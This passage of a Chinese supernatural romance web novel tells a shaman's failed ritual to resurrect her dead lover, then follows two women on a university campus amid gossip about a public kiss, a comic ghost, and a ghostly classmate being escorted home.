发展到后世,木片、竹签、铜钱等通通可以充作占卜媒介。上古那些具有灵性的占卜之物越来越罕见,甚至消失, 比如蓍草, 不得已只能有什么用什么。 几千年过去,世间灵力稀薄,巫的神力也大大削弱, 如今的通鬼神只是能借来天地一缕未消散的神魂残念,每一次占卜对巫都是极大的消耗,所求越深,反噬越重。 三十年前, 邱月白的爱侣死于一次任务,那本是一个没什么危险的任务, 分别那天也是很普通的一天。 邱月白前一天闹得太晚, 早上贪睡,还嫌爱人洗漱的声音吵醒她, 全程把脸蒙在被子里。 “我走了。”爱人脚边放着小行李箱,站在床沿温柔和她说话。 “再见。”邱月白从被子里伸出一只手,摇了摇。 女人从床边俯身下来,把被子从她头顶拉开,在她额头落下一个刚刷过牙后清凉的吻。 她唇瓣往下,想去吻邱月白的唇,邱月白躲开了,闭着眼说:“好困。”亲起来没完没了,打扰她睡觉。 “那我走啦。”行李箱的声音到了门口。 邱月白睁了一下眼,朦朦胧胧地看到门口女人纤细的身影,又合上了。 她似乎对她说了句什么,也可能困得意识不清,嘴唇动了动,什么都没说出声。 很多年后,她都在想自己那天究竟有没有对她说一句她爱听的话,她离开家门时看向她的眼神是怎样的。她们此生的最后一面,她竟然自始至终都没有看清过她的脸。 邱月白的爱侣死了。 她遇到了本该早已匿迹在人间的魔物,就是那么巧,天地肃清,妖魔绝迹。这只魔物蛰伏了几十年,隐藏在人类的体内,它躲藏得很好,换过两次身体,从未惹出大乱子,引起灵管局的注意。 邱月白的爱侣发现了它的真身,为了保护一起的组员,和它同归于尽。黑气穿胸而过,捏碎了心脏,当场死亡。 因为魔物死去的地方魔气四溢,死在魔物手下的尸体也是,不得擅自带回,灵管局暂时用八方法阵封住魔气,请专人来净化。 等魔气净化完毕,邱月白踉跄着进去找爱人的尸身,却只见到一摊干涸的血迹,尸骨无存。 人类很久没有与魔交手的经历,近代记录上也没有记载被魔杀死的人会连尸体都消失,邱月白坚信爱人还活着。 她不甘心。 短信里爱人还在和她说事情马上解决了,今晚就能到家,会给她带何记的灌汤包。 她不甘心。 于是邱月白翻出箱子底的龟甲,穿上古朴厚重的巫服,戴上涂满彩绘的面具,手持巫节,在兴山崖的崖顶祈求神明的降灵,为她指引爱人的生机。 起初的占卜还算顺利。 邱月白双手祈天,腰身灵活,脸戴面具,跳起了占卜的傩舞。不过片刻,周遭便静了下来,有一个声音自天外传来,却响在她的脑海里,冲击她的灵台。 “汝欲知何事?” 邱月白屏住呼吸。 ——我想知道一个人的生死,她还活着吗? “允。” 邱月白的身体变得轻飘飘的,意识放空,双脚不受控制地朝祭台的龟甲走去。 她的意识经历了不短的黑暗,等她感觉自己重新踩实地面,掌握了自己的身体,她的左手拿着刻刀,右手的龟甲上还有凿出的新鲜灰痕。 山风将浮在表面的一层灰吹去,露出两个像是符号的字形:从“歺”从“人”。 在甲骨文里,这个字叫作“死”字。 邱月白一连占了三遍,三次都是同一个结果。 她的爱人死在了三天前,尸骨无存,没有奇迹。 那天早晨她甚至没有和她好好道个别。 邱月白擦掉汹涌的泪水,想:她不能就这样莫名其妙地消失了。 邱月白决定动用巫以外的能力,借用鬼神的力量招魂,不仅要招来爱人的魂魄,还要将她留在自己身边,起死回生。 世间有异香,名返魂香,相传能使死人复生。 有鲁班门人,奇技淫巧,所制木偶通灵,能容纳魂魄,肌肤温润,宛如生前。 邱月白寻来失传的返魂香,同鲁班门人做了交易,在崖顶进行招魂和还魂术。 她所求甚大,有悖天理,执念之深,远远超过了鬼神能应允的范畴。 是日风雨如晦。 邱月白站在贴满符咒的法阵当中,面前是一座朱红大鼓,狂风将她脑后的长发吹得烈烈,她衣袖鼓起,手握鼓槌,双手一同扬起,落下。 咚—— 鼓面发出低沉轰鸣,邱月白一口血吐了出来。 鬼神不允。 咚—— 一个重锤一般的声音在她脑海里说:不可违背! 咚咚—— 鼓槌一下一下抡在牛皮鼓面上,沉闷的轰响,邱月白转身背对,腰身后折,仰面击鼓,咚—— 这是上古战场传下来的祭祀傩舞,残损不堪,接近失传,邱月白继承母亲的衣钵后研究了数年,将它补全。这本来是上古时期战争结束,巫用来招抚亡魂的舞蹈,古战场惨烈,尸山血海,断臂残肢,亡魂怨念极深,能够招来战场魂灵的傩舞有着寻常傩舞不具备的威力。 现代的巫身体已经承载不了上古祭祀的傩舞。 兵马刀戈,挥剑砍杀声将邱月白拉回到了古战场,她脚下是浸成红色的泥土,软得像是刚用血泡过,突刺的长戈擦过她的鬓角,脸颊一条线渗出殷红血珠。 邱月白将朱红大鼓摆在战场中间,千军万马冲杀中奋力击鼓,鼓声带动着她的心脏重重激跳,超过人类负荷。 山顶的云聚在一起,盘旋成漩涡,阴风呼啸,山脚的村民望着重云汇聚,风雨欲来,狂风吹得竹架东倒西歪,急忙加快步伐赶回家中,关好门窗。 雷声由远极近,崖顶的方向落下一道闪电,暴雨倾盆而下。 雨声混着鼓声,水花四溅,血从握槌的手渗下,冲刷到地面上。 邱月白双手力竭,扔下鼓槌,纵身跃上鼓面,沉重的巫服压迫着她的四肢,折身下腰,双手翻转,每个动作都极致,惊心动魄的艳丽。 鼓声响了一天一夜,雨从天亮下到另一个天亮。 邱月白始终没有得到回应的脑海里终于传来一个古朴的声音,深沉厚重,比她请到过的任何一位神明都要古老。 吐字发音是她听不懂的腔调,但是大脑自动翻译成了她能懂的话。 “汝所招何人魂魄?欲使何人复生?” ——吾妻,折枝。 她听到了一声古老的叹息,神明告诉她说—— 天地间已经没有她的魂魄了,她所做的不过是无用功,尽早归去。 邱月白不相信,她继续跳着招魂的傩舞,神明来而复去,崖顶风云变幻,阴魂汇集,一个一个的虚影列在崖边,虎视眈眈,待她虚弱之际一拥而上,欲将她吞噬殆尽。 她一个一个看过去,没有熟悉的身影。 邱月白一个趔趄摔倒在鼓面上,面具自脑后脱落,露出暴雨后洗净铅华的容颜,有泪自眼眶溢出。 成百上千的阴魂瞬间扑了上来。 邱月白闭上了眼睛。 魂魄被撕碎的痛楚感并没有发生,邱月白睁开的一线眼帘捕捉到一角青衫,来人衣袖一挥,阴魂散尽,彩彻区明。 她落进了一个盈满异香的怀抱。 是返魂香。 “折枝……”邱月白大喜过望,浑身剧痛,彻底昏死过去。 再次醒来,她回到了山下寨子里自己的家中,窗户支了一个角开着,风和阳光都很轻柔。 邱月白如坠梦中,满脑子都是昏迷之前闻到的气味,一定是折枝回来了,她的还魂术成功了! “折枝!”邱月白强撑着自己的身体,刚起来一点便倒了回去,她向着屋外大喊,其实不过是比正常人说话还小的声音,虚弱不堪,“折枝——咳咳咳。” 一只修长如玉的手撩开门口珠帘,戴着面具的女人走进来,端着一碗黑乎乎的汤药。 “先把药喝了。” “你是谁?”不是折枝,折枝没有她高。 “我姓穆,叫穆若水。”穆若水将她扶起来半靠在自己身上,把晾凉的汤药送至她唇边,温和地说,“喝药吧,会好起来的。” 不知道是说她的身体,还是说她心上的痛。也许二者都有。 邱月白闻见她身上的返魂香味道,彻底沉默下来。 穆若水在寨子里停留了七天,她平常都戴着兜帽,夜晚坐在院子里看月亮时会将它取下,月光镀满她的白发。 寨子里保留着原始的鬼神崇拜,穆若水整日以面具示人也没人觉得可怕,小孩子好奇还会围着她转,穆若水性情温和,常常顺手买点零嘴给她们吃。 她道法和医术都很高,邱月白七天后便能下地,扶着凳子行走。 那天穆若水从镇上回来,给她带了何记的灌汤包,没有留下只言片语,从此消失在寨子里。 邱月白坐在桌子面前,咬了一口灌汤包,泪如雨下。 时间不是解药,但解药都在时间里。 会好起来的。 ——那是她和穆若水的第一面,也是最后一面。 岁已寒:【但她现在头发是黑色的】 邱月白:【你怀疑她是冒充的?】 岁已寒:【玉佩和面具都是对的,而且她给我的感觉很危险,世上比我厉害的人不多,我想不到冒充的动机】 邱月白:【你有没有想过还有一种可能】 岁已寒:【什么】 邱月白:【她把头发染黑了^_^】 * 穆若水一而再、再而三地为傅清微下厨,傅清微知道好歹,更知道道长的脾气,午饭乖乖地叫了外卖,没敢敲门打扰她。 她咬了咬牙又叫了一份水果外卖。 虽然穆若水已经辟谷,不需要吃东西,但她总想着让她尝尝味也好,其他的穆若水不愿意碰,只有水果还能勉强让她赏脸品尝。 脑海里闪过为数不多的积蓄,再苦也不能苦观主,傅清微点击付款。 明天上午她要去趟菜市场买菜,在发工资以前都不能再点外卖了! 水果依然先到,傅清微穿着大衣下楼拿,柚子在厨房剥开皮,露出红色的果肉。傅清微把须须去干净了,剥了半碗装起来,端着碗去敲卧室的房门。 她低头脚步飞快,没留意房门早就打开,刚出厨房便迎面撞进一个香气满怀的怀抱。 穆若水接住跌落的碗,一手环住她的腰:“急着做什么去?” 傅清微揉着自己撞到对方鼻梁的脑门,对方没事她反而疼得眼泛泪光。 “给你送柚子。” “有心了。”真乃孝心可嘉,穆若水把碗放回她的手里,坐到她的专属座位里等着。 傅清微:“……” 不耽误她衣来伸手饭来张口。 傅清微坐在她身边,白净修长的手指捏起柚子粉红果肉,慢慢送至穆若水唇边。穆若水丹唇微启,含住果肉,不时会触碰到傅清微的指尖,裹上湿意。 傅清微被她含得心神不定,也不敢将视线多放在她唇上,鼻翼间的香气忽浓忽淡。 她努力嗅了嗅,转移注意力问:“道长,你身上是什么香?有时候香得让人神智迷失。” 穆若水稍稍敛眸,说:“迷惑心智就对了,不可多闻。” 傅清微好奇:“闻多了会怎么样?” 穆若水撩起眸子,似笑非笑地望了她一眼。 “会催情。” 第38章 穆若水这句话一出, 傅清微原地跳起来,迅速和她拉开一米的安全距离。 怪不得她每次和观主待在一起久了,脑子里就会自动生产出一些需要打码的画面!破案了, 原来她的心猿意马是有理由的, 都是因为观主身上的香气! 所以不是她爱脑补, 是客观原因造成的她人心黄黄,她还是百分百的纯情女大。 傅清微长舒了一口气。 比起闻久了异香催情可能会导致的后果, 她的注意力似乎更放在解释自己为什么总对观主想入非非。不对, 是被入。 她哪有那个胆子对观主做什么啊。 傅清微屏住呼吸,坐了回去, 继续给她喂柚子。 穆若水吃了一片柚子, 细嚼慢咽,唇角始终噙着愉悦的笑。 这太反常了。 傅清微立即生出狐疑:“刚刚你说的会催情是真的假的?” 穆若水拖长了音调,说:“你猜?” 傅清微:“……” 再这么下去她要倒反天罡了。 傅清微深吸一口气, 没留神香气吸多了, 催情的话响起在脑海,生怕下一秒她就跟中了春药似的不受控制,缠着道长这里也要那里也要。 她一口气没喘匀, 剧烈地呛咳起来。 穆若水张唇凑近她的手指,衔去最后一枚果肉,轻飘飘留下一句—— “骗你的。” 起身离开。 她离开得潇洒,却不知无意的一句话在傅清微丰富敏感的内心制造出多久的余震。 日后每当她再起念头的时候, 都会想,是不是那香起作用了, 又在蛊惑她。 穆若水浅尝辄止, 傅清微把碗里剩下的柚子肉吃了,剩下的大半个柚子放冰箱里, 下楼拿了午饭外卖,一次性打包盒和筷子拆开在餐桌上。 穆若水路过瞧了一眼,眉头紧皱。 “猪食也能入口?” “我还在吃饭呢!”傅清微瞬间戴上痛苦面具,“你就不能等我吃完了再说?”花了钱的! 穆若水轻哼了一声走开。 这么大的人了也不知道好好照顾自己。 下午傅清微有一节课,出门前半小时,她在客厅转了好几圈,欲言又止。 穆若水揉了个纸团轻轻砸了她一下。 “有话就说,转得我眼晕。” 傅清微连忙停下来,但语气还是难以启齿:“下午你能不陪我去学校了吗?” “……” “绝对没有嫌弃你的意思!”傅清微就差指天发誓,在穆若水冷冷的目光下道出了实情,低声说:“本来我是坐地铁去学校的,只需要三块钱,交通卡还有折扣。但是我们俩每次出门都要打车,一来一回得四五十块,最近花钱的地方多,所以……” 穆若水有张十万余额的银行卡,但是岁已寒的名字开的户,绑不了她的微信支付,她暂时也不打算把卡拿出来。 “你等一下。” 穆若水低头打开手机,微信右上角添加朋友。 十分钟后。 [你已经添加了柏凋,快来打个招呼吧] 【岁已寒】:在 【穆若水】:我,慈让,打钱 [岁已寒向您转账10000元,请收款] 叮。 微信到账。 穆若水把手机递给傅清微看,说:“够了吗?” 傅清微:“……” 她看着“1”后面的四个零,第一次恍惚地心想:原来赚钱竟然是这么容易的一件事吗? 穆若水见她不语,凝眉说:“不够?我再问她拿点。” “够了够了。”傅清微连忙制止她,同时遏制住自己的贪念,不能因为岁主任像冤大头就可着她宰。 “一万块很多吗?”穆若水没有概念,她现在有十一万了。 “很多。”傅清微强迫自己的视线从来之很易的数字上移开,说,“够我大半年的房租了。如果省着点花的话,可以花很久。” “原来如此。”那就是衣服贵了,无良奸商。 “这笔钱只用来付车费。”傅清微想好了它的用途。 “你不是很缺钱?猪食也不舍得浪费。” “……” 有时候观主真的挺毒舌的,换个人这么说话傅清微肯定要生气的。 但观主只是陈述事实,她又有什么恶意呢?她还给自己做饭吃,她做的饭还好吃。 傅清微扬起笑容:“虽然缺钱,但还是可以勉强养活我们两个人的。” “是养活你自己。” “对,养活我自己。”傅清微咬牙,心说有本事你别吃我买的水果,别穿我买的内裤! 现代的内衣轻便舒适,穆若水也不傻,挑着好用的穿了。 “总之我做主。”傅清微一锤定音。 “行。” 这回观主倒是没有再反驳她。 今日份噎人已提前达成,今天一整天她都会是一个好说话的道士。 傅清微怕她冬天冷,热爱给她穿衣服,穆道长站在玄门,双臂张开,任由她给自己穿上大衣,扣好两排扣子——说实话大衣里面穿道袍确实不怎么舒服,穆若水在考虑穿点现代的T恤和裤子之类的。 傅清微的指尖碰到她薄薄的耳廓,穆若水低头,配合地让给自己扣好黑色口罩。 整装完毕,出发。 新得到了交通经费,傅清微以后打车的时候再也不用肉痛了。今天一整天她都会对世界有好脸色。 两个人不约而同地心情都非常不错。 坐在车里也不那么一板一眼地非要“接吻”,傅清微挽着穆若水的臂弯,脑袋靠在她的肩膀上,就像一对普通的情侣。 穆若水那边的车窗降下来一半,新鲜的空气驱散了车里属于陌生人的气味。 她终于有闲情用目光去打量这座她未来可能要度过很长时间的城市——因为傅清微在这里。 穆若水指着一栋高楼问道:“那是什么地方?” 傅清微循着她的视线看去,高楼大厦印着公司logo,说:“写字楼吧。” 穆若水说:“好大的怨气。” 傅清微忍不住笑出声。 穆若水不明白写字楼为何物,写字也有专门的建筑吗?为何会有怨气,难道是字灵? 她笑什么? 灵管局居然能坐视字灵怨气冲天而不理? 傅清微咬唇止住笑,眼角仍弯弯,说:“要不是你不能坐地铁,我真想周一早高峰带你去看看,什么叫淡淡的死意。” 穆若水:“我坐过。” 傅清微笑容消失:“什么时候???” 穆若水:“和一个人。”和傅清微的五感,勉强也算和她一起坐过地铁吧。 傅清微:“……” 这下又把自己玩进去了。 她没有一次是在道长面前占上风的。 二环高架数年如一日地拥堵,每次开到这里司机的脚就要搭在刹车上,随时准备减速。从车里往远处的环线看,车流如织,数条蜿蜒的长龙延伸到天际。 占据城市CBD最好位置的广告牌整洁干净,焕然一新。 繁华地段的地铁口人流潮汐般涌入涌出。 伤痛过去,城市正在重新踏上正轨。 除了那些在灾害里遇难,再也回不来的人。她们的亲人永远无法过去这一天。 网约车经过被暂时封闭的地铁口,市政府特意圈出了一块地让市民悼念,堆满了白的鲜花和卡片,有几位市民正在鞠躬,拿着雨伞一身黑衣的家属呆呆地站着。 司机叹了一口气,车里安静得谁也没开口,静静地驶离了路口。 傅清微把脸转了个方向,眼睛埋在穆若水的肩膀。 一直持续到了抵达学校,傅清微谢过了司机,及时支付车费,顺手给完五星好评,心情还是有些低落,一言不发地朝教室走去。 走了好长一段路,她才发现穆若水仍然在她身边。 “道长,你不去楼顶待着吗?” “赶我走?” “……” 穆若水记起她今天是个好说话的道士,换了口吻:“你魂不守舍,我怕你走错教室。” “谢谢道长。”傅清微吸了吸鼻子,“你对我真好。” “……” 虽然穆若水不讨厌她对自己的评价,但傅清微显然太容易被打动了。 穆若水有意提点她一句:“你这么感性,怪不得容易被上……身。” 上身就上身,为什么中间要停顿一下?害她又想多。 傅清微也说了实话:“因为你在我身边嘛。”可以随便感性,随便软弱,道长可能会嘲笑她,但也一定会保护她。 穆若水霎时没话讲了。 说来说去自己惯的,自己也挺乐意。 “那你就记住,不能离开我。” “嗯嗯。” “嗯一声就行了,怎么越来越娇了。” “嗯!”傅清微点头道。 穆若水情不自禁抬手揉了揉她的发顶,做完这个动作两人都愣了一下,穆若水为了让自己顺理成章,不是临时起意,也没别的意思,于是指根顺着发丝来到后脖颈,像捏宠物一样地捏了捏。 穆若水镇定道:“手感不错。” 傅清微:“……”她喜欢就好。 穆若水收回手,藏进衣袖里,不动声色偏过脸,去看路旁学校的建筑。 傅清微很少被别人碰头发,才发现自己那么敏感,发根被牵扯的感觉让她微微发麻,用力捏了捏自己的手指平复悸动,低头看着地面。 并肩无声。 眼看二人来到了上课的教学楼下,上次那棵大树跟前。 傅清微松开手指,问:“你要送我去教室吗?” 穆若水在思考。 和傅清微待在一起久了,其实没那么容易控制不住自己,这栋教学楼阴气重,于她也是滋补。最重要的是,她不可能永远待在家里一亩三分地,心有多大天地就有多大,她还想和傅清微一起坐一次地铁。 总要见见生人的。 穆若水松了口:“可。” 她答应了,傅清微欣喜之余,这才想起另一个问题:有一个漂亮女人送她到上课教室。 人是上一秒送的,女朋友是下一秒有的。 傅清微提前给她打预防针:“待会可能有人会说一些让人误会的话,甚至起哄,你不要放在心上。” 穆若水:“我不会放在眼里。”更别说放在心上了。 傅清微是相信她目中无人的本事的,当即放下了心。 进楼之前,穆若水先埋在她脖子里深深地吸了一口,引得路过的同学纷纷侧目,傅清微环顾同学们,在这一秒突然有了一种不详的预感。 傅清微牵着穆若水的手腕进了教学楼。 迎面撞上绿衣服学姐鬼,绿衣服学姐鬼看看她们牵在一起的手:“哇哦。” 傅清微:“……” 绿衣服学姐鬼:“什么时候在一起的?” 傅清微:“……” 当了鬼还这么八卦吗?! 绿衣服学姐鬼围着她们俩飘来飘去:“上次来你还是一个人呢,学妹好福气啊,女朋友胸大腰细腿长的,啧啧啧。” 因为穆若水历来目中无人,也没有鬼,所以绿衣服学姐鬼根本不知道对方也能看见她,对着穆若水的身材品头论足,大放厥词,虽然都是夸奖的,但…… “哎哟,这手指也挺长,晚上不得对着流口水啊,我说的是不正经的那张嘴哈。” “……”傅清微心说:我谢谢你特意解释。 绿衣服学姐鬼的视线终于落到了穆若水的脚上:“你女朋友这大衣里边穿的啥啊?不像裙子不像裤子的,不伦不类。” 傅清微面无表情地说:“道袍。你快跑吧。” 绿衣服学姐鬼:“啊?” 正在这时,穆若水的眼珠从远处聚焦过来,精准地落在绿衣服学姐鬼身上,冷冷地和她对上视线。 学姐鬼“妈呀”一声,扭头就逃,快得在楼道里闪出了残影。 不出十秒钟。 她又来到了二人面前。 傅清微&穆若水:“……” 学姐鬼:“妈呀!鬼也能遇到鬼打墙?!” 傅清微:“……” 有没有可能这个教学楼它的教室分布是闭环的呢? 学姐鬼来来回回闪了好几次,次次闪回到二人面前,痛哭流涕:“道长,要不你还是杀了我吧!” 傅清微看看穆若水,说情道:“要不放过她吧?” 穆若水点了点头,甩手离开。 蠢得她都不想杀了。 傅清微匆匆丢下一句:“下次注意。”追了上去挽住女人的胳膊。 死里逃生的绿衣服学姐鬼擦擦眼泪,继续在楼里飘荡。 上行的楼梯里,一级一级拾级而上,穆若水正盘问傅清微:“她和你很熟稔的样子,你认识她?” “见过几面,不熟,老钉子户了。”傅清微想了想,说,“也是个可怜鬼。” 方向感这么差,怪不得老是找不到教室。 “你难道不可怜?”要不是她身上有法器,焉知这些小鬼不会聚集起来攻击她,上不了身能趴上来咬几口也是好的。 “我有道长,怎么会可怜?” 意料之中的回答。 穆若水满意地勾了勾唇角。 “教室到啦。”傅清微勾住穆若水的手臂阻止往前的去势,停下脚步。 穆若水险些脱口道:这么快? “嗯。”穆若水淡淡地应了一声。 都到教室门口了,即使不抱希望傅清微也邀请了一句,目光期待:“要不要和我一起上课?带你看吊死鬼和抱脸虫。” 穆若水眸底极幽微的笑意漾了一下。 “你觉得好看吗?” “不好看,但是和你一起看会比较有意思。”就她们俩能见到鬼,怎么不算看小成本专场电影呢? 穆若水捏了捏她的手,示意她放开自己。 傅清微这两天得寸进尺惯了,刚松开手就搂住了女人的脖子,见她没那么坚定的抵触,趁热打铁道:“试试?讨厌的话我会陪你出来。” 阶梯教室稀稀拉拉地坐着学生,本来无精打采的学生在瞧见门口卿卿我我的一幕后,纷纷打起了精神议论纷纷。 其他班的同学也加入进来八卦,声音越来越大。 傅清微的同班女生看不过去,替她讲话:“你们别乱说,万一是她的姐姐呢?姐妹感情好点不过分吧?” 教室里突然一阵欢呼躁动,有人吹起响亮的口哨。 女生顺着声音传来的方往门口看去。 傅清微的那位好“姐姐”,一手扶着她的腰,另一只手托着她的脖颈,正埋首细细亲吻她的耳根。 第39章 “惊!当众亲脖子!校花玩好大!” “我前几天都说在楼下看见她和她女朋友了, 你们还不信,这下铁证如山!” “真是傅清微吗?C大学子疑似拼好饭集体中毒出现幻觉。” “我没吃,如假包换!” “她女朋友胆子真大。”门口坐着近距离观看的同班同学磕了把空气瓜子, 说, “就是戴着口罩看不清脸。” “傅王三年不鸣, 不鸣则已,一鸣惊人啊。” “宁就是传说中的大文豪吗?” 甘棠本来趴在桌上睡觉, 被起哄声吵醒了, 议论的主角还是傅清微。再一听说神秘女人戴着口罩,马上从座位里起来, 冲出了教室, 顺便解救了傅清微。 她冲穆若水讪笑了一下,一把拉过傅清微的胳膊,压低声音道:“姐们你疯了?!” 傅清微有苦难言。 教室里的议论她也听到了, 本来她就有所预料, 肯定会有传她俩谣言的。但是观主突然把脸埋她脖子里,是措手不及,她第一反应想推开, 怕穆若水生气,后果很严重。 于是迟疑了两秒,两秒,然后四秒, 六秒。 一步错步步错,穆若水在她脖子里吸猫薄荷吸上了头, 傅清微已经社死完毕。 傅清微低声说:“一会儿我再和你解释。” 她看向意犹未尽的穆若水, 道:“陪我一起上课吗?” 甘棠:“……”想吹口哨怎么办? 穆若水扫了一眼阶梯教室里抻长了脖子的学生,兴奋好奇的目光都落在她身上, 令她不喜,于是摇头道:“不了,我还是在老地方等你。” 傅清微:“……”白牺牲这么大了。 但事实摆在这里也没有办法,如果有选择,她今天也不想进教室了,她想换个星球生活。 与其两个人都社死,不如她一个人承受所有八卦。 “楼顶风大,注意保暖。”傅清微把自己的围巾解下来,圈在她脖子搭在女人的身前,大衣配围巾,忍不住眼放异彩,“真好看。” 穆若水挑眉。 甘棠在旁边笑得直嘬牙花子。 “我是说你戴围巾的样子。”傅清微找补道,勉强克制了一下,“比我好看多了。” 甘棠笑得呛了一声。 “嗯。”比起她的语无伦次,穆若水显然比她沉稳得多,作为制造出社死现场的罪魁祸首,毫无内疚之心,挥一挥衣袖离开了,不带走半片云彩,只带走了一条围巾。 傅清微一直目送她的背影消失在楼梯口才收回视线。 甘棠:“嘿嘿嘿。” 傅清微:“……”忘了这位纯种小黄人。 甘棠一把勒住她的肩膀,半是好意半是强迫地将她押进了教室。 傅清微被按在凳子里,甘棠把桌上占座的保温杯拿开,整整五分钟,就那么托腮一直盯着她,双目如炬。 傅清微咽了咽口水:“我可以解释。” 甘棠小声但笃定:“还解释啥,女主A和女主B都在我面前激情上演了,除了do和即将do,我不想听见其他的解释。说,你俩到哪一步了?” 傅清微:“……” 她趴下来,将滚烫的脸埋进自己的胳膊里,闷闷的声音传出来:“真的不是你想的那样……” 虽然差点do了。 甘棠凑近她通红的耳朵:“上次你还说有感觉,湿了。” 一记回旋镖扎得刚刚好。 傅清微心跳骤乱,胸腔心脏乱蹦,百口莫辩,别说甘棠了,说女主A和女主B的关系清清白白她自己都不信,谁让她写的时候描述那么暧昧。 她和道长是清清白白的就行。 傅清微想通了,抬起脸,拿出手机打字,现场续写剧情。 【女主B送女主A到了教室,在门口上演了一副唯美的画面——她亲吻了女主A。女配C盘问女主A和女主B的关系,女主A难以启齿,因为女主B对她根本没有爱情,她是单相思】 甘棠:【啊???那为什么要亲女主A】 傅清微:【女主B只把女主A当猫薄荷,随心所欲,想亲就亲,想咬就咬,还曾经警告她说:她可以做,但女主A不能想】 甘棠:【女主A为什么不离开女主B?女配C问道。】 傅清微:【因为……女主B只有女主A一个人,即使她不爱她,她还是一直陪着她,偏爱她,对她很好。女主A相信总有一天,她会回应她的感情】 甘棠:【了解了】 甘棠:【请问她们什么时候do呢?】 傅清微:【等催情香起作用的时候】 甘棠:【你俩】……删除。 甘棠:【她俩玩好花啊,怎么做到又涩又纯爱的】 傅清微心想:她们俩之间到底是涩还是纯爱完全看道长的心情。 上课铃响了。 抱脸虫,不是,任课老师走了进来,插上课件,周遭的议论声渐渐平息,桌子底下的手机屏幕都快按烂了。 甘棠悄悄给傅清微看各个群里讨论她的八卦,傅清微头疼欲裂,她一向洁身自好,低调做人,临了快毕业一下以这种方式出名了。都怪……都怪她自己! 早在教学楼外穆若水埋在她脖子里的时候,她就该预料到后来的事。 “太上台星,应变无停。智慧明净,心神安宁。”傅清微目视讲台,心无杂念地一遍一遍默诵《净心咒》。 比起鬼在她旁边不停说话,人的声音充其量是杂音,她如果连这些都受不了,将来怎么面对更危险的事。 甘棠:……怎么没反应了? 傅清微心静得差不多,开始练习画符,她目前只会画一种符箓,就是阁皂宗的宁心符,已经到了闭着眼睛都能画出来的地步。唯一的不足是她没有灵力,至今只能起到外形上的作用。 但傅清微没有懈怠过,即使她和观主现在感情不错,她很依赖对方,也不代表她真的打算以后漫长的几十年就跟菟丝花一样攀缠着她。人总是要靠自己立起来,才能站稳脚跟。 她已经学到的都会刻苦勤奋、一丝不苟地练习,在机遇到来的时候才能接住它。 可惜占英现在重伤未愈,否则她有些事想向占英请教。 下课后,傅清微对身后重新兴起的议论充耳不闻,直奔楼顶找穆若水,两人一块下楼。 “道长,我要回寝室拿点东西,你是和我一起去还是找个清净的地方等我去找你?”傅清微边和她走在校道边问她,风吹得两人背后的长发纠缠在一起。 “人多吗?” “都大四了人挺少的,好多不在学校了。”傅清微自己就是搬出去住的。 “那就一起吧。” “好。” 傅清微带穆若水来到女寝楼下,趁四下无人拉开衣领,提前问道:“你要不要先吸一口?不吸的话只能进寝室再弄,不能在公众场合。”人不能,至少不应该一天遭遇两次社死。 穆若水:“不必。” 自助餐要适量,她今天又有点不知节制了。 傅清微:“我相信你说话算话。走吧,我们进去。” 傅清微住在五楼,没有电梯,纯靠步行上去,抵达后靠右边走廊,一直走就是了。现在就业形势紧张,考研考公的都在图书馆,其他的要么幸运地找到了工作早早实习上班,要么在跑各种招聘现场,海投简历。 走廊里寂静无声,只有两人几乎同步的脚步声。 511和509之间的地上蹲着一个人,傅清微的脚步陡然快了一步,走到近前看清那个人的脸:“程玉汝?怎么会是你?” 她喉咙好像突然哑了一下,漂亮的眼尾染上一抹轻红,湿意被她忍了回去。 穆若水从旁边瞧来一眼,没说什么。 程玉汝是傅清微的同班同学,因为傅清微不善交际,两人不算太熟,她是提前找到工作的几个幸运儿之一,公司也很不错,傅清微对她有印象。 程玉汝个子大概165,鹤市本地人,白皮肤大眼睛,端庄秀丽,此刻却显得有些狼狈,一身薄呢大衣染了黄泥,湿湿地贴在身上瑟瑟发抖,精致的头发也乱了。 傅清微环视四周,走廊空无一人,她把程玉汝请进了寝室,温和地问她:“怎么搞成这样子?” 程玉汝摇摇头,抱着胳膊说冷。 傅清微用钥匙开了宿舍衣柜的门,因为她搬出去一年多了,早就没有厚衣服。她正要把自己的衣服脱下来给她,一件驼色大衣出现在她的眼前,穆若水单手拎着那件大衣,不带任何情绪地说:“我不怕冷,穿这件吧。” “谢谢。”傅清微低声道,亲自给女生披上了衣服。 穆若水对此也没说什么,主动去了阳台看风景。 身后传来傅清微轻柔耐心的询问,女生话少,似乎遇到了什么重大打击,自己也不太清楚,最后她说:想回家。 傅清微:“你家住在哪里?” 女生又摇摇头:“记不起来了,好像是在成田区。” 傅清微拿出手机:“我帮你问问。” 女生两手拢着厚厚的驼色大衣,露出来的脸从衣领里仰起来,白净又乖巧:“谢谢你,傅同学。” 傅清微眼皮颤了一下,似乎不敢再看,背过身去按手机。 刚好和回过头的穆若水对上视线。 两人默默地对视了三秒钟,有一种全新的默契形成在眼神交流里,最终以穆若水妥协告终。 穆若水继续看风景。 傅清微:【你知道程玉汝家住在哪里吗?】 甘棠:【程玉汝?她今天没来上课吧,你有事找她?】 傅清微:【对,要紧事,得去趟她家里】 甘棠:【我记得登记的表格上有,我帮你找找噢,稍等】 甘棠是她们班的班干部,有学生信息,两分钟后,她发来一行地址。 傅清微拿着地址给女生看,问她:“是这个吗?” 程玉汝定定地看了两秒,不太确定地说:“好像是。你发我手机上吧,我坐地铁过去。” “还是我送你回去吧,免得你又迷路。” 穆若水闻言又看了过来,傅清微眨眨眼,补上一句询问:“可以吗?” 穆若水没好气:“你都答应了,我还能说什么?” 傅清微:“我一时嘴快。” 穆若水:“你有恃无恐。” 傅清微:“我晚上回去给你剪指甲。” 穆若水:“……” 程玉汝两手捧着热水杯看得笑起来,眼睫弯弯地说:“傅同学,你和你女朋友感情真好。” 傅清微没有纠正她,接过她喝完的水杯道:“早点回家吧,一会天快黑了,不好认路。我们现在就去打车。” “好。我已经没有那么冷了,这件衣服……” “你穿着吧。”这次发话的是穆若水。 她有种不容人拒绝的气势,程玉汝落在大衣上的手又收了回去,乖乖披好。 拿了原先要拿的书,带上宿舍门,傅清微最后朝门里看了一眼,椅子上搭着一件衣服。 一行三人来到校门口,傅清微叫了辆车。 车到以后,她打开副驾驶门,让程玉汝坐进去,又关上门,司机奇怪地朝她看了一眼。 “尾号好多?” “69。” 傅清微坐在程玉汝的左后方,看着她系好安全带,两只手垂放在膝盖上,姿态放松,目视着前方不断前进的道路,开往家的方向。 穆若水伸手捏了一下她的手背。 傅清微很轻地吸了吸鼻子,低声问:“怎么了?” 穆若水:“没什么,手痒。” “……” 被她这么一打岔,傅清微刚刚涌上的感性被迫中断,也把注意力放在道路本身。 一路沉默到了璟珑花园。 